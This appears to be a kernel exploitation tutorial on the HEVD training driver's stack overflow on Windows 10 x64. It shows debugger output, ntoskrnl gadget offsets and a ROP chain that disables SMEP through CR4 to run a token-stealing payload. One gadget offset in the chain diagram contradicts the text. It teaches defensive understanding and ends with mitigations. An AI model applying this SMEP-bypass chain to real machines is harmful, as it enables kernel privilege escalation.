Part 3 showed how exploitation is done for the stack buffer overflow vulnerability on a Windows 7 x86/x64 machine. This part will target Windows 10 x64, which has SMEP enabled by default on it.
Exploit code can be found here.
Windows build: 16299.15.amd64fre.rs3_release.170928-1534
ntoskrnl’s version: 10.0.16288.192
Instead of mouthfeeding you the problem, let’s run the x64 exploit on the Windows 10 machine and see what happens.
kd> bu HEVD!TriggerStackOverflow + 0xc8 kd> g Breakpoint 1 hit HEVD!TriggerStackOverflow+0xc8: fffff801`7c4d5708 ret kd> k # Child-SP RetAddr Call Site 00 ffffa308`83dfe798 00007ff6`8eff11d0 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101] 01 ffffa308`83dfe7a0 ffffd50f`91a47110 0x00007ff6`8eff11d0 02 ffffa308`83dfe7a8 00000000`00000000 0xffffd50f`91a47110
Examining the instructions at
00007ff68eff11d0 verifies that it’s our payload. What would go wrong?
kd> t 00007ff6`8eff11d0 xor rax,rax kd> t KDTARGET: Refreshing KD connection *** Fatal System Error: 0x000000fc (0x00007FF68EFF11D0,0x0000000037ADB025,0xFFFFA30883DFE610,0x0000000080000005) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred.
0x000000fc indicates a
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY issue which is caused by a hardware mitigation called SMEP (Supervisor Mode Execution Prevention).
Continueing execution results in this lovely screen…
1. So what’s SMEP?
SMEP (Supervisor Mode Execution Prevention) is a hardware mitigation introducted by Intel (branded as “OS Guard”) that restricts executing code that lies in usermode to be executed with Ring-0 privileges, attempts result in a crash. This basically prevents EoP exploits that rely on executing a usermode payload from ever executing it.
The SMEP bit is bit 20 of the CR4 register, which Intel defines as:
CR4 — Contains a group of flags that enable several architectural extensions, and indicate operating system or executive support for specific processor capabilities.
Setting this bit to 1 enables SMEP, while setting it to 0 disables it (duh).
You can read more about this in the Intel Developer’s Manual.
2. Bypassing SMEP
There are a few ways described in the reading material that allow you to bypass SMEP, I recommend reading them for better understanding. For this exploit we’ll use the first method described in j00ru’s blog:
Construct a ROP chain that reads the content of CR4, flips the 20th bit and writes the new value to CR4. With SMEP disabled, we can “safely” jump to our user-mode payload.
If reading and/or modifying the content is not possible, just popping a “working” value to CR4 register will work. While this is not exactly elegant or clean, it does the job.
Worth noting is that Hyperguard won’t allow modifying CR4 if you’re using a Hyper-V instance.
Virtualization-based security (VBS) Virtualization-based security (VBS) enhancements provide another layer of protection against attempts to execute malicious code in the kernel. For example, Device Guard blocks code execution in a non-signed area in kernel memory, including kernel EoP code. Enhancements in Device Guard also protect key MSRs, control registers, and descriptor table registers. Unauthorized modifications of the CR4 control register bitfields, including the SMEP field, are blocked instantly.
Gadgets we’ll be using all exist in
ntoskrnl.exe which we’re able to get its base address using
EnumDrivers (some say it’s not reliable but I didn’t run into issues, but given its behaviour isn’t publicly documented you better cross your fingers) or by calling
NtQuerySystemInformation (you’ll need to export it first), we’ll be using the first approach.
LPVOID addresses; DWORD needed; EnumDeviceDrivers(addresses, 1000, &needed); printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses);
Okay, now that we have
nt’s base address, we can rely on finding relative offsets to it for calculating the ROP chain’s gadgets.
I referred to ptsecurity’s post on finding the gadgets.
First gadget we need should allow us to pop a value into the
cr4 registe. Once we find one, we’ll be able to figure out which register we need to control its content next.
kd> uf nt!KiConfigureDynamicProcessor nt!KiConfigureDynamicProcessor: fffff802`2cc36ba8 sub rsp,28h fffff802`2cc36bac call nt!KiEnableXSave (fffff802`2cc2df48) fffff802`2cc36bb1 add rsp,28h fffff802`2cc36bb5 ret kd> uf fffff802`2cc2df48 nt!KiEnableXSave: fffff802`2cc2df48 mov rcx,cr4 fffff802`2cc2df4b test qword ptr [nt!KeFeatureBits (fffff802`2cc0b118)],800000h ... snip ... nt!KiEnableXSave+0x39b0: fffff802`2cc318f8 btr rcx,12h fffff802`2cc318fd mov cr4,rcx // First gadget! fffff802`2cc31900 ret kd> ? fffff802`2cc318fd - nt Evaluate expression: 4341861 = 00000000`00424065
Gadget #1 is
mov cr4,rcx at
nt + 0x424065!
Now we need a way to control
rcx’s content, ptsecurity’s post mentions
HvlEndSystemInterrupt as a good target:
kd> uf HvlEndSystemInterrupt nt!HvlEndSystemInterrupt: fffff802`cdb76b60 push rcx fffff802`cdb76b62 push rax fffff802`cdb76b63 push rdx fffff802`cdb76b64 mov rdx,qword ptr gs:[6208h] fffff802`cdb76b6d mov ecx,40000070h fffff802`cdb76b72 btr dword ptr [rdx],0 fffff802`cdb76b76 jb nt!HvlEndSystemInterrupt+0x1e (fffff802`cdb76b7e) Branch nt!HvlEndSystemInterrupt+0x18: fffff802`cdb76b78 xor eax,eax fffff802`cdb76b7a mov edx,eax fffff802`cdb76b7c wrmsr nt!HvlEndSystemInterrupt+0x1e: fffff802`cdb76b7e pop rdx fffff802`cdb76b7f pop rax fffff802`cdb76b80 pop rcx // Second gadget! fffff802`cdb76b81 ret kd> ? fffff802`cdb76b80 - nt Evaluate expression: 1514368 = 00000000`00171b80
Gadget #2 is
pop rcx at
nt + 0x171b80!
ROP chain will be the following:
+------------------+ |pop rcx; ret | // nt + 0x424065 +------------------+ |value of rcx | // ? @cr4 & FFFFFFFF`FFEFFFFF +------------------+ |mov cr4, rcx; ret | // nt + 0x424065 +------------------+ |addr of payload | // Available from user-mode +------------------+
It’s extremely important to notice that writing more than 8 bytes starting the RIP offset means the next stack frame gets corrupted. Returning to
3. Restoring execution flow
Let’s take one more look on the stack call BEFORE the
Breakpoint 1 hit HEVD!TriggerStackOverflow: fffff801`71025640 mov qword ptr [rsp+8],rbx kd> k # Child-SP RetAddr Call Site 00 ffff830f`5a53a798 fffff801`7102572a HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65] 01 ffff830f`5a53a7a0 fffff801`710262a5 HEVD!StackOverflowIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 125] 02 ffff830f`5a53a7d0 fffff801`714b02d9 HEVD!IrpDeviceIoCtlHandler+0x149 [c:\hacksysextremevulnerabledriver\driver\hacksysextremevulnerabledriver.c @ 229] 03 ffff830f`5a53a800 fffff801`7190fefe nt!IofCallDriver+0x59 04 ffff830f`5a53a840 fffff801`7190f73c nt!IopSynchronousServiceTail+0x19e
Pitfall 1: returning to
Although adjusting the stack to return to this call works, a parameter on the stack (
Irp’s address) gets overwritten thanks to the ROP chain and is not recoverable as far as I know. This results in an access violation later on.
fffff801`710256f4 lea r11,[rsp+820h] fffff801`710256fc mov rbx,qword ptr [r11+10h] // RBX should contain Irp's address, this is now overwritten to the new cr4 value
This results in
rbx (previously holding
Irp’s address for
IrpDeviceIoCtlHandler call) to hold the new
cr4 address and later on being accessed, results in a BSOD.
fffff801`f88d63e0 and qword ptr [rbx+38h],0 ds:002b:00000000`000706b0=????????????????
cr4’s new value. This instructions maps to
Irp->IoStatus.Information = 0;
So, returning to
StackOverflowIoctlHandler+0x1a is not an option.
Pitfall 2: Returning to
Same issue as above,
Irp’s address is corrupted and lost for good. Following instructions result in access violation.
Irp->IoStatus.Status = Status; Irp->IoStatus.Information = 0;
You can make
rbx point to some writable location but good luck having a valid
Irp struct that passes the following call.
// Complete the request IoCompleteRequest(Irp, IO_NO_INCREMENT);
Another dead end.
Pitfall 3: More access violations
Now we go one more level up the stack, to
nt!IofCallDriver+0x59. Jumping to this code DOES work but still, access violation in
It’s extremely important (and I mean it) to take note of all the registers how they behave when you make the IOCTL code in both a normal (non-exploiting) and exploitable call.
In our case,
rsi registers are the offending ones. Unluckily for us, in
x64, parameters are passed in registers and those two registers get populated in
fffff800`185756f4 lea r11,[rsp+820h] fffff800`185756fc mov rbx,qword ptr [r11+10h] fffff800`18575700 mov rsi,qword ptr [r11+18h] // Points to our first gadget fffff800`18575704 mov rsp,r11 fffff800`18575707 pop rdi // Points to our corrupted buffer ("AAAAAAAA") fffff800`18575708 ret
Now those two registers are both set to zero if you submit an input buffer that doesn’t result in a RET overwrite (you can check this by sending a small buffer and checking the registers contents before you return from
TriggerStackOverflow). This is no longer the case when you mess up the stack.
Now sometime after hitting
kd> u @rip nt!ObfDereferenceObject+0x5: fffff800`152381c5 mov qword ptr [rsp+10h],rsi fffff800`152381ca push rdi fffff800`152381cb sub rsp,30h fffff800`152381cf cmp dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0 fffff800`152381d6 mov rsi,rcx fffff800`152381d9 jne nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6) fffff800`152381df or rbx,0FFFFFFFFFFFFFFFFh fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx kd> ? @rsi Evaluate expression: -8795734228891 = fffff800`1562c065 // Address of mov cr4,rcx instead of 0 kd> ? @rdi Evaluate expression: 4702111234474983745 = 41414141`41414141 // Some offset from our buffer instead of 0
Now that those registers are corrupted, we can just reset their expected value (zeroeing them out) sometime before this code is ever hit. A perfect place for this is after we execute our token stealing payload.
xor rsi, rsi xor rdi, rdi
Last step would be adjusting the stack properly to point to
nt!IofCallDriver+0x59’s stack frame by adding
Full exploit code can be found here.
4. Mitigation the vulnerability
Although this is a vanilla stack smashing vulnerability, it still happens all the time. Key ways to mitigate/avoid this vulnerability is:
- Sanitize the input, don’t trust the user data (or its size). Use upper/lower bounds.
- Use /GS to utilize stack cookies.
Or even better, don’t write a kernel driver unless you need to ;)
- Bypassing SMEP might be intimidating at first, but a small ROP chain was able to make it a piece of cake.
- Restoring execution flow was challenging due to access violations. Every stack frame had its own challenges.
- Keeping an eye on registers is crucial. Note which registers get affected by your exploit and try to repair them if possible.
- Offsets change quite often, there’s a good chance this exploit will break with the next update.